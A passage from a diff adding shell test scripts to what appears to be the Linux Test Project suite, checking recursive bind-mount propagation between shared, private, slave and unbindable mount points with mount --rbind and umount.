+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared child to private parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 share1
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 share1
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check parent1/child1/a parent2/child2/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check parent1/child1/b parent2/child2/b share1/b
+
+
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind03.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind03.sh
new file mode 100755
index 0000000..7fb1a46
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind03.sh
@@ -0,0 +1,61 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared child to slave parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+	mkdir parent2
+
+	EXPECT_PASS mount --rbind parent1/child1 share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" share2
+	EXPECT_PASS mount --rbind share2 parent2
+	EXPECT_PASS mount --make-rslave parent2
+
+	fs_bind_check share2 parent2
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 share1
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 share1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent1/child1/a
+
+	fs_bind_check parent1/child1/a parent2/child2/a share1/a
+	fs_bind_check -n parent2/child2 share2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent2/child2 share2/child2
+	fs_bind_check parent1/child1/b parent2/child2/b share1/b
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind04.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind04.sh
new file mode 100755
index 0000000..3e55e2e
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind04.sh
@@ -0,0 +1,52 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: shared child to unclonable parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 share1
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 share1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check parent1/child1/a parent2/child2/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check parent1/child1/b parent2/child2/b share1/b
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/c
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount parent1/child1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind05.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind05.sh
new file mode 100755
index 0000000..3f60789
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind05.sh
@@ -0,0 +1,62 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: private child to shared parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --rbind parent1 share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent2 share2
+
+	fs_bind_check -n  parent1/child1 share1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 parent2/child2 share2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check parent2/child2/c share2/child2/c
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share2/child2/c
+
+	fs_bind_check -n parent1/child1/c parent2/child2/c
+	fs_bind_check parent2/child2/c share2/child2/c
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount share2/child2/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind06.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind06.sh
new file mode 100755
index 0000000..8f1384a
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind06.sh
@@ -0,0 +1,52 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: private child to private parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --rbind parent1 share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+
+	fs_bind_check -n  parent1/child1 share1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check -n  parent1/child1 share1/child1
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07-2.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07-2.sh
new file mode 100755
index 0000000..666920d
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07-2.sh
@@ -0,0 +1,37 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: create slave then mount master - slave still propagates"
+
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --rbind share2 parent2
+	EXPECT_PASS mount --make-rslave parent2
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share2
+
+	fs_bind_check parent2 share2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent2/a
+
+	fs_bind_check -n parent2/a share2/a
+
+
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07.sh
new file mode 100755
index 0000000..2fc9c94
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07.sh
@@ -0,0 +1,62 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: private child to slave parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --rbind parent1 share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+
+	fs_bind_check -n  parent1/child1 share1/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" share2
+	EXPECT_PASS mount --rbind share2 parent2
+	EXPECT_PASS mount --make-rslave parent2
+
+	mkdir parent2/child2
+	fs_bind_check parent2 share2
+
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 parent2/child2
+	fs_bind_check -n parent2/child2 share2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check -n  parent1/child1 share1/child1
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind08.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind08.sh
new file mode 100755
index 0000000..e609977
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind08.sh
@@ -0,0 +1,52 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: private child to uncloneable parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --rbind parent1 share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+
+	fs_bind_check -n  parent1/child1 share1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check -n  parent1/child1 share1/child1
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind09.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind09.sh
new file mode 100755
index 0000000..a8195d8
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind09.sh
@@ -0,0 +1,63 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: slave child to shared parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --rbind parent2 share2
+	EXPECT_PASS mount --rbind share1 parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --make-rslave parent1/child1
+
+	fs_bind_check parent1/child1 share1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check parent2/child2/b share2/child2/b
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/c
+	fs_bind_check share1/c parent1/child1/c
+	fs_bind_check parent1/child1/c parent2/child2/c
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind10.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind10.sh
new file mode 100755
index 0000000..d052ae5
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind10.sh
@@ -0,0 +1,58 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: slave child to private parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --rbind share1 parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --make-rslave parent1/child1
+
+	fs_bind_check parent1/child1 share1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/c
+	fs_bind_check share1/c parent1/child1/c
+	fs_bind_check parent1/child1/c parent2/child2/c
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind11.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind11.sh
new file mode 100755
index 0000000..3fadf33
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind11.sh
@@ -0,0 +1,68 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: slave child to slave parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --rbind parent2 share2
+	EXPECT_PASS mount --rbind share1 parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" share2
+	EXPECT_PASS mount --make-rslave parent1/child1
+	EXPECT_PASS mount --make-rslave parent2
+
+	mkdir parent2/child2
+
+	fs_bind_check parent1/child1 share1
+	fs_bind_check parent2 share2
+
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check -n parent2/child2 share2/child2
+
+	EXPECT_PASS umount parent2/child2/b
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/c
+	fs_bind_check share1/c parent1/child1/c
+	fs_bind_check parent1/child1/c parent2/child2/c
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind12.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind12.sh
new file mode 100755
index 0000000..0c50bce
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind12.sh
@@ -0,0 +1,58 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: slave child to uncloneable parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --rbind share1 parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --make-rslave parent1/child1
+
+	fs_bind_check parent1/child1 share1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --rbind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" share1/c
+	fs_bind_check share1/c parent1/child1/c
+	fs_bind_check parent1/child1/c parent2/child2/c
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind13.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind13.sh
new file mode 100755
index 0000000..443d71c
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind13.sh
@@ -0,0 +1,39 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: uncloneable child to shared parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir runbindable parent1/child1
+	mkdir parent1/child1/x
+
+	EXPECT_PASS mount --rbind parent1 share1
+	EXPECT_PASS mount --rbind parent2 share2
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1/x
+	mkdir parent2/child2
+	EXPECT_FAIL mount --rbind parent1/child1 parent2/child2
+
+
+	EXPECT_PASS umount parent1/child1/x
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind14.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind14.sh
new file mode 100755
index 0000000..f1f21e6
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind14.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: uncloneable child to private parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir runbindable parent1/child1
+	mkdir parent1/child1/x
+
+	EXPECT_PASS mount --rbind parent1 share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1/x
+	mkdir parent2/child2
+	EXPECT_FAIL mount --rbind parent1/child1 parent2/child2
+
+
+	EXPECT_PASS umount parent1/child1/x
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind15.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind15.sh
new file mode 100755
index 0000000..c348a2a
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind15.sh
@@ -0,0 +1,45 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: uncloneable child to slave parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir runbindable parent1/child1
+	mkdir parent1/child1/x
+
+	EXPECT_PASS mount --rbind parent1 share1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1/x
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" share2
+	EXPECT_PASS mount --rbind share2 parent2
+	EXPECT_PASS mount --make-rslave parent2
+
+	fs_bind_check parent2 share2
+
+	mkdir parent2/child2
+	EXPECT_FAIL mount --rbind parent1/child1 parent2/child2
+
+
+	EXPECT_PASS umount parent1/child1/x
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind16.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind16.sh
new file mode 100755
index 0000000..bf8414c
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind16.sh
@@ -0,0 +1,36 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: uncloneable child to uncloneable parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
